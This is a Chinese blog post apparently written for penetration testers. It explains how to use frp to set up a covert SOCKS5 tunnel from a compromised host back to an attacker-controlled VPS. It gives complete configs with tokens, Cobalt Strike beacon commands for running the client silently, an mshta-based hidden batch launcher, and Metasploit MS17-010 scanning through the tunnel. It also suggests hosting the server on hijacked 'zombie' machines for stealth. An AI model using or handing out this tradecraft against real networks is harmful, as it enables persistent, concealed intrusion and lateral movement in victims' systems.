君子藏器于身待时而动,安全不露圭角覆盂之安。
——AnonySec
https://payloads.cn
前言
实战中,当通过某种方式拿下目标机器权限时,发现该机器可出网。此时为了内网横向渗透与团队间的协同作战,可以利用Frp在该机器与VPS之间建立一条“专属通道”,并借助这条通道达到内网穿透的效果。实战中更多时候依靠 Socks5 。
更多详细使用方法,可查看官方Github,这里不再赘述。
https://github.com/fatedier/frp/
前期准备
先准备一台VPS与域名。
因某种情况会更换VPS地址,为了减少更改frp配置文件的次数,所以做域名泛解析。若更换VPS,直接编辑域名解析地址即可。
下载地址
Frp下载地址 [跨平台,实战中根据目标机版本选择下载]
https://github.com/fatedier/frp/releases
配置文件
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| [common]
bind_addr = 0.0.0.0
bind_port = 7007
dashboard_port = 6609
dashboard_user = SuperMan dashboard_pwd = WC3pvjmh2tt8
log_file = ./frps.log
log_level = info
log_max_days = 3
auth_token = E0iQEBOdoJeh
privilege_mode = true
privilege_token = kukezkHC8R1H
privilege_allow_ports = 4000-50000
heartbeat_timeout = 30
max_pool_count = 20
authentication_timeout = 900
subdomain_host = xxxx.online
|
客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| [common]
server_addr = frp.xxxx.online
server_port = 7007
auth_token = E0iQEBOdoJeh
privilege_mode = true
privilege_token = kukezkHC8R1H
heartbeat_interval = 10 heartbeat_timeout = 30
pool_count = 20
[socks5] type = tcp
remote_port = 9066
plugin = socks5
use_encryption = true
use_compression = true
|
执行部署
服务端
SSH连接到VPS上,后台启动frp服务端。
1 2 3 4
| root@Ubuntu:~ root@Ubuntu:~/tools/frp root@Ubuntu:~/tools/frp root@Ubuntu:~/tools/frp
|
客户端
将frpc.exe
与frpc.ini
传到目标机的同一目录下,直接运行。
当frp客户端启动后,是否成功连接,都会在frp服务端日志中查看到。
但如果直接在目标机的Beacon中启动frp客户端,会持续有日志输出,并干扰该pid下的其他操作,所以可结合execute
在目标机无输出执行程序。
1 2 3
| beacon> sleep 10 beacon> execute c:/frpc.exe -c c:/frpc.ini beacon> shell netstat -ano |findstr 7007
|
或者,创建后台运行的bat脚本。
1 2 3 4 5
| @echo off if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit :begin c:\frpc.exe -c c:\frpc.ini
|
工具穿透
当“专属通道”打通后,可直接在msf中挂该代理。因为msf的模块较多,所以在内网横向移动中更是一把利器。 [若socks5设置口令,可结合proxychains]
1 2 3 4 5 6
| # sudo msfconsole -q msf5 > setg proxies socks5:frp.xxxx.online:9066 msf5 > use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10 msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.144.178 msf5 auxiliary(scanner/smb/smb_ms17_010) > run
|
Windows
Windows中可结合Proxifier、SSTap等工具,可设置socks5口令,以此达到用windows渗透工具横向穿透的效果。
小结
Frp的用法比较灵活且运行稳定。如 可将frp服务端挂在“肉鸡”上,以达到隐蔽性,也可将客户端做成服务自启的形式等,实战中可自由发挥。